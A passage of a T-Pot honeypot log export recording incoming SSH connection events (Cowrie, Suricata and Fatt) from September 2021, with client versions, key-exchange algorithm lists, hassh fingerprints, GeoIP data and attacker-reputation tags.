"ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "321dd6faebd3", "@version": "1", "timestamp": "2021-09-20T11:10:34.101147Z", "@timestamp": "2021-09-20T11:10:34.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25573	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:34.200486+03	2021-09-20 14:15:10.3215+03	{"_id": "nQbmAnwBvYTbRNuEhhtr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5165d4feb874", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:34.200486Z", "@timestamp": "2021-09-20T11:10:34.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25574	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:34.417456+03	2021-09-20 14:15:10.323501+03	{"_id": "ngbmAnwBvYTbRNuEhhtr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5165d4feb874", "@version": "1", "timestamp": "2021-09-20T11:10:34.417456Z", "@timestamp": "2021-09-20T11:10:34.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25575	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:10:34.092138+03	2021-09-20 14:15:10.325472+03	{"_id": "nwbmAnwBvYTbRNuEiBun", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 570227442670418, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35480, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.092138Z", "@timestamp": "2021-09-20T11:10:34.092Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25576	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:10:34.092257+03	2021-09-20 14:15:10.326501+03	{"_id": "oAbmAnwBvYTbRNuEiBuo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:10:33.547666+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 570227442670418, "payload": "AAADzAYUZRIdvDoTmVp3eUFFH0s9/QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35480, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:10:34.092257Z", "@timestamp": "2021-09-20T11:10:34.092Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......e...:..ZwyAE.K=....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
25577	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:34.410205+03	2021-09-20 14:15:10.3275+03	{"_id": "oQbmAnwBvYTbRNuEiBuo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1811333404757465, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53362, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.410205Z", "@timestamp": "2021-09-20T11:10:34.410Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25578	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:34.914819+03	2021-09-20 14:15:10.32851+03	{"_id": "ogbmAnwBvYTbRNuEiBuo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 283355839626670, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58994, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.914819Z", "@timestamp": "2021-09-20T11:10:34.914Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25579	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:39.539887+03	2021-09-20 14:15:10.3305+03	{"_id": "EQbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:58132 (192.168.176.2:22) [session: 0f5a0ac5508d]", "session": "0f5a0ac5508d", "@version": "1", "protocol": "ssh", "src_port": 58132, "dest_port": 22, "timestamp": "2021-09-20T11:10:39.539887Z", "@timestamp": "2021-09-20T11:10:39.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25580	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:10:40.225384+03	2021-09-20 14:15:10.332472+03	{"_id": "EgbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 68.168.141.140:50464 (192.168.176.2:22) [session: 5c33aafcea93]", "session": "5c33aafcea93", "@version": "1", "protocol": "ssh", "src_port": 50464, "dest_port": 22, "timestamp": "2021-09-20T11:10:40.225384Z", "@timestamp": "2021-09-20T11:10:40.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25581	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:39.536136+03	2021-09-20 14:15:10.3335+03	{"_id": "GwbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3bbd899cac95", "@version": "1", "duration": 2.880420446395874, "timestamp": "2021-09-20T11:10:39.536136Z", "@timestamp": "2021-09-20T11:10:39.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25587	68.168.141.140	109.199.241.180	Fatt	2021-09-20 14:10:40.429101+03	2021-09-20 14:15:10.344505+03	{"_id": "JAbmAnwBvYTbRNuEoRwz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "68.168.141.140", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50464, "dest_port": 22, "timestamp": "2021-09-20T11:10:40.429101", "@timestamp": "2021-09-20T11:10:40.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25582	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:39.840483+03	2021-09-20 14:15:10.3355+03	{"_id": "HQbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0f5a0ac5508d", "@version": "1", "timestamp": "2021-09-20T11:10:39.840483Z", "@timestamp": "2021-09-20T11:10:39.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25583	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:40.081423+03	2021-09-20 14:15:10.337472+03	{"_id": "HgbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "257053ae9794", "@version": "1", "duration": 2.6136903762817383, "timestamp": "2021-09-20T11:10:40.081423Z", "@timestamp": "2021-09-20T11:10:40.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 